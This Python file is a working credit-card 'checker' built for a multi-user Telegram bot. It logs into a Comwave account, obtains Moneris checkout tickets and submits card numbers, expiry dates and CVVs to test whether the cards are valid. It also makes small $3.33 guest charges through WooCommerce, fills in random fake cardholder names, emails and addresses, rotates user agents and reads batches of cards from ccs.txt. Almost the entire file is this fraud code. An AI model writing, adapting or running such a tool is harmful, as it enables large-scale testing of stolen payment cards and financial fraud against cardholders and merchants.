import asyncio
import httpx
import random
import time
import os
import logging
from fake_useragent import UserAgent
logger = logging.getLogger("comwave")
def get(s, start, end):
try:
start_index = s.index(start) + len(start)
end_index = s.index(end, start_index)
return s[start_index:end_index]
except ValueError:
return ""
MONERIS_URL = "https://gateway.moneris.com/chkt/display"
IDLE_TIMEOUT = 300 # 5 min — auto-logout after no activity
KEEPALIVE_INTERVAL = 120 # 2 min — ping session to prevent server-side expiry
RATE_LIMIT_SECONDS = 3 # per-user cooldown between requests
env_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env")
CW_USER = ""
CW_PASS = ""
if os.path.exists(env_path):
for line in open(env_path):
line = line.strip()
if line.startswith("COMWAVE_USERNAME="):
CW_USER = line.split("=", 1)[1]
elif line.startswith("COMWAVE_PASSWORD="):
CW_PASS = line.split("=", 1)[1]
class ComwaveChecker:
"""
Shared single-session Comwave checker for multi-user Telegram bot.
- One login shared by all users. No repeated login/logout.
- _ticket_lock serializes the fast ticket step (~0.5s each).
- Moneris validate+process runs in parallel — no lock needed.
- Background tasks: idle auto-logout (5min) + keepalive ping (2min).
- Per-user rate limit prevents spam.
- Auto re-login on any session failure.
"""
def __init__(self):
self.session: httpx.AsyncClient | None = None
self.hdrs: dict = {}
self.logged_in: bool = False
self._ticket_lock = asyncio.Lock()
self._login_lock = asyncio.Lock()
self._last_activity: float = 0
self._user_cooldowns: dict[int | str, float] = {}
self._bg_task: asyncio.Task | None = None
self._pending: int = 0 # how many requests are waiting/processing
# ── Background worker: keepalive + idle logout ────────────────────────────
def _start_bg(self):
if self._bg_task is None or self._bg_task.done():
self._bg_task = asyncio.create_task(self._bg_loop())
async def _bg_loop(self):
"""Runs while session is alive. Pings keepalive, handles idle logout."""
while True:
await asyncio.sleep(30) # check every 30s
if not self.logged_in:
break
idle = time.time() - self._last_activity
# Idle timeout — logout if no one has used it for 5 min
if idle >= IDLE_TIMEOUT and self._pending == 0:
logger.info("Idle timeout — logging out")
await self._do_logout()
break
# Keepalive — ping session if idle > 2 min but < 5 min
if idle >= KEEPALIVE_INTERVAL:
try:
await self.session.get(
"https://myaccount.comwave.net/viewPayment",
headers={**self.hdrs, "Accept": "text/html"},
follow_redirects=True,
)
except Exception:
logger.warning("Keepalive ping failed — marking session dead")
self.logged_in = False
break
# ── Login / logout ────────────────────────────────────────────────────────
async def ensure_login(self) -> bool:
if self.logged_in and self.session:
return True
async with self._login_lock:
if self.logged_in and self.session:
return True
return await self._do_login()
async def _do_login(self) -> bool:
if self.session:
try:
await self.session.aclose()
except Exception:
pass
self.session = httpx.AsyncClient(timeout=40)
ua_str = UserAgent().random
self.hdrs = {"User-Agent": ua_str, "Accept-Language": "en-US,en;q=0.9"}
for attempt in range(2):
try:
r1 = await self.session.get(
"https://myaccount.comwave.net/welcome",
headers={**self.hdrs, "Accept": "text/html"},
follow_redirects=True,
)
ct = get(r1.text, 'name="currentTime" value="', '"')
fa = get(r1.text, 'action="', '"')
if not ct or not fa:
return False
r2 = await self.session.post(
f"https://myaccount.comwave.net{fa}",
data={"username": CW_USER, "password": CW_PASS, "currentTime": ct},
headers={**self.hdrs, "Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://myaccount.comwave.net/welcome"},
follow_redirects=True,
)
if "already logged in" in r2.text:
await self.session.get("https://myaccount.comwave.net/logoff", follow_redirects=True)
await asyncio.sleep(2)
continue # retry
if "Login" in (get(r2.text, "
", "") or "Login"):
return False
self.logged_in = True
self._last_activity = time.time()
self._start_bg()
logger.info("Logged in to Comwave")
return True
except Exception as e:
logger.warning(f"Login attempt {attempt + 1} failed: {e}")
await asyncio.sleep(2)
return False
async def _do_logout(self):
if self.session:
try:
await self.session.get("https://myaccount.comwave.net/logoff", follow_redirects=True)
except Exception:
pass
try:
await self.session.aclose()
except Exception:
pass
self.session = None
self.logged_in = False
logger.info("Logged out of Comwave")
# ── Ticket generation (sequential via lock) ───────────────────────────────
async def _get_ticket(self) -> tuple[str, str]:
r = await self.session.post(
"https://myaccount.comwave.net/toUpdatePayment",
data={"formBean.updateCreditCardButton": "updateCC"},
headers={**self.hdrs, "Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://myaccount.comwave.net/viewPayment"},
follow_redirects=True,
)
ticket = get(r.text, "monerisCheckoutTicketID = '", "'")
redirect_url = str(r.url)
return ticket, redirect_url
# ── Moneris validate + process (parallel-safe) ───────────────────────────
async def _moneris_process(self, cc, mm, yyyy, cvv, ticket, redirect_url) -> str:
first_names = ["James", "John", "Robert", "Michael", "William", "David"]
last_names = ["Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia"]
first_name = random.choice(first_names)
last_name = random.choice(last_names)
expiry = f"{mm}{yyyy[2:]}"
ua_str = self.hdrs["User-Agent"]
mon = httpx.AsyncClient(timeout=30, follow_redirects=True)
try:
await mon.get(f"{MONERIS_URL}/index.php?tck={ticket}",
headers={"User-Agent": ua_str, "Accept": "text/html"})
mon_hdrs = {
"User-Agent": ua_str,
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Referer": f"{MONERIS_URL}/index.php?tck={ticket}",
}
form_data = {
"ticket": ticket, "action": "validate_transaction",
"pan": cc, "expiry_date": expiry, "cvv": cvv,
"cardholder": f"{first_name} {last_name}",
"card_data_key": "new", "currency_code": "CAD",
"wallet_details": "{}", "gift_details": "{}",
}
rv = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
if rv.json().get("response", {}).get("success") != "true":
return "Error: validate failed"
form_data["action"] = "process_transaction"
rp = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
resp = rp.json().get("response", {})
if resp.get("success") != "true":
return "Error: process failed"
result = resp.get("result", "")
card_type = ""
amount = ""
last4 = ""
approval_code = ""
ref_no = ""
payments = resp.get("payment", [])
if payments:
p = payments[0]
card_type = p.get("card", "")
amount = p.get("amount", "")
last4 = p.get("pan", "")
approval_code = p.get("approval_code", "")
ref_no = p.get("reference_no", "")
info = f"[{card_type}] | Last4: {last4} | Auth: {approval_code} | Ref: {ref_no}"
if result == "a":
if "monerischeckout" in redirect_url:
base = redirect_url.split("?")[0]
await self.session.post(base, data={"ticketID": ticket}, headers={
**self.hdrs, "Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json",
})
return f"APPROVED {info}"
else:
return f"DECLINED {info}"
finally:
await mon.aclose()
# ── Rate limiting ─────────────────────────────────────────────────────────
def check_rate_limit(self, user_id: int | str) -> float:
"""Returns 0 if allowed, or seconds remaining until next allowed request."""
now = time.time()
last = self._user_cooldowns.get(user_id, 0)
remaining = RATE_LIMIT_SECONDS - (now - last)
return max(0, remaining)
def _touch_rate(self, user_id: int | str):
self._user_cooldowns[user_id] = time.time()
# ── Main entry point ──────────────────────────────────────────────────────
async def check_card(self, full: str, user_id: int | str = 0) -> str:
"""
Check a single card. Safe to call concurrently from multiple bot handlers.
Returns result string like "APPROVED [VISA] - Taken 5.41s"
"""
start = time.time()
# Rate limit
wait = self.check_rate_limit(user_id)
if wait > 0:
return f"Rate limited — wait {round(wait, 1)}s"
self._touch_rate(user_id)
# Parse card
try:
cc, mm, yyyy, cvv = full.strip().split("|")
if len(yyyy) == 2:
yyyy = f"20{yyyy}"
except ValueError:
return "Error: bad format (cc|mm|yyyy|cvv)"
self._pending += 1
try:
# Ensure logged in
if not await self.ensure_login():
self.logged_in = False
if not await self.ensure_login():
return "Error: login failed"
self._last_activity = time.time()
# Get ticket (serialized)
async with self._ticket_lock:
try:
ticket, redirect_url = await self._get_ticket()
except Exception:
ticket, redirect_url = "", ""
# Retry once on failed ticket (session may be dead)
if not ticket:
self.logged_in = False
if not await self.ensure_login():
return "Error: re-login failed"
async with self._ticket_lock:
try:
ticket, redirect_url = await self._get_ticket()
except Exception:
ticket, redirect_url = "", ""
if not ticket:
return "Error: no ticket"
# Process via Moneris (parallel, no lock)
result = await self._moneris_process(cc, mm, yyyy, cvv, ticket, redirect_url)
elapsed = round(time.time() - start, 2)
return f"{result} - Taken {elapsed}s"
except Exception as e:
return f"Error: {e}"
finally:
self._pending -= 1
@property
def status(self) -> str:
if self.logged_in:
idle = round(time.time() - self._last_activity) if self._last_activity else 0
return f"🟢 Session active | {self._pending} pending | idle {idle}s"
return "🔴 Session inactive"
async def shutdown(self):
if self._bg_task and not self._bg_task.done():
self._bg_task.cancel()
await self._do_logout()
# ── WooCommerce $3 charge checker (stateless, no login needed) ────────────────
SHOP_URL = "https://www.comwave.net/residential"
PRODUCT_ID = "7422" # One Time Activation — $2.95 CAD
_wc_rate: dict[int | str, float] = {}
async def check_card_3(full: str, user_id: int | str = 0) -> str:
"""
WooCommerce guest checkout — charges $3.33 CAD ($2.95 + tax).
Stateless: each call gets its own session. Fully parallel-safe.
"""
start = time.time()
# Rate limit
now = time.time()
last = _wc_rate.get(user_id, 0)
if RATE_LIMIT_SECONDS - (now - last) > 0:
return f"Rate limited — wait {round(RATE_LIMIT_SECONDS - (now - last), 1)}s"
_wc_rate[user_id] = now
try:
cc, mm, yyyy, cvv = full.strip().split("|")
if len(yyyy) == 2:
yyyy = f"20{yyyy}"
except ValueError:
return "Error: bad format (cc|mm|yyyy|cvv)"
first_names = ["James", "John", "Robert", "Michael", "William", "David"]
last_names = ["Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia"]
first_name = random.choice(first_names)
last_name = random.choice(last_names)
mail = f"cristini{random.randint(1000, 99999)}@gmail.com"
ua_str = UserAgent().random
base_headers = {"User-Agent": ua_str, "Accept-Language": "en-US,en;q=0.9"}
session = httpx.AsyncClient(timeout=40, follow_redirects=True)
try:
# Start WC session
await session.get(f"{SHOP_URL}/shop/", headers={**base_headers, "Accept": "text/html"})
# Add to cart
await session.post(
f"{SHOP_URL}/?wc-ajax=add_to_cart",
data={"product_id": PRODUCT_ID, "quantity": "1"},
headers={**base_headers, "Accept": "application/json", "X-Requested-With": "XMLHttpRequest"},
)
# Get checkout nonce
r3 = await session.get(f"{SHOP_URL}/checkout/", headers={**base_headers, "Accept": "text/html"})
nonce = get(r3.text, '"update_order_review_nonce":"', '"')
if not nonce:
return "Error: no nonce"
# Update order review
await session.post(
f"{SHOP_URL}/?wc-ajax=update_order_review",
data={
"security": nonce,
"payment_method": "moneris_checkout_woocommerce",
"country": "CA", "state": "ON", "postcode": "M5H2N2",
"city": "Toronto", "address": "123 Main Street",
"has_full_address": "true",
},
headers={**base_headers, "X-Requested-With": "XMLHttpRequest"},
)
# Get Moneris ticket
r5 = await session.post(
f"{SHOP_URL}/moneris-checkout-wc?type=getticket",
data={
"billing_first_name": first_name, "billing_last_name": last_name,
"billing_country": "CA", "billing_address_1": "123 Main Street",
"billing_state": "ON", "billing_city": "Toronto",
"billing_postcode": "M5H2N2", "billing_phone": "4165551234",
"billing_email": mail,
"payment_method": "moneris_checkout_woocommerce",
},
headers={**base_headers, "X-Requested-With": "XMLHttpRequest"},
)
try:
ticket = r5.json()["data"]["ticket"]
except Exception:
return f"Error: no ticket"
# Moneris validate + process
expiry = f"{mm}{yyyy[2:]}"
mon = httpx.AsyncClient(timeout=30, follow_redirects=True)
try:
await mon.get(f"{MONERIS_URL}/index.php?tck={ticket}",
headers={"User-Agent": ua_str, "Accept": "text/html"})
mon_hdrs = {
"User-Agent": ua_str,
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Referer": f"{MONERIS_URL}/index.php?tck={ticket}",
}
form_data = {
"ticket": ticket, "action": "validate_transaction",
"pan": cc, "expiry_date": expiry, "cvv": cvv,
"cardholder": f"{first_name} {last_name}",
"card_data_key": "new", "currency_code": "CAD",
"wallet_details": "{}", "gift_details": "{}",
}
rv = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
if rv.json().get("response", {}).get("success") != "true":
return "Error: validate failed"
form_data["action"] = "process_transaction"
rp = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
resp = rp.json().get("response", {})
if resp.get("success") != "true":
return "Error: process failed"
result = resp.get("result", "")
card_type = ""
amount = ""
last4 = ""
approval_code = ""
ref_no = ""
payments = resp.get("payment", [])
if payments:
p = payments[0]
card_type = p.get("card", "")
amount = p.get("amount", "")
last4 = p.get("pan", "")
approval_code = p.get("approval_code", "")
ref_no = p.get("reference_no", "")
info = f"[{card_type}] | Amount: {amount} | Last4: {last4} | Auth: {approval_code} | Ref: {ref_no}"
elapsed = round(time.time() - start, 2)
if result == "a":
return f"CHARGED {info} - Taken {elapsed}s"
else:
return f"DECLINED {info} - Taken {elapsed}s"
finally:
await mon.aclose()
except Exception as e:
return f"Error: {e}"
finally:
await session.aclose()
# ── Global instance — import this in your bot ─────────────────────────────────
checker = ComwaveChecker()
# ── Standalone test ───────────────────────────────────────────────────────────
async def main():
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")
ccs_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ccs.txt")
ccs = open(ccs_path, "r", encoding="utf-8").read().splitlines()
ccs = [c.strip() for c in ccs if c.strip()]
if not ccs:
print("No cards")
return
async def user_check(card, uid):
result = await checker.check_card(card, user_id=uid)
print(f"[User {uid}] {card} - {result}")
tasks = [user_check(card, i + 1) for i, card in enumerate(ccs)]
await asyncio.gather(*tasks)
await checker.shutdown()
print("\nDone")
if __name__ == "__main__":
asyncio.run(main())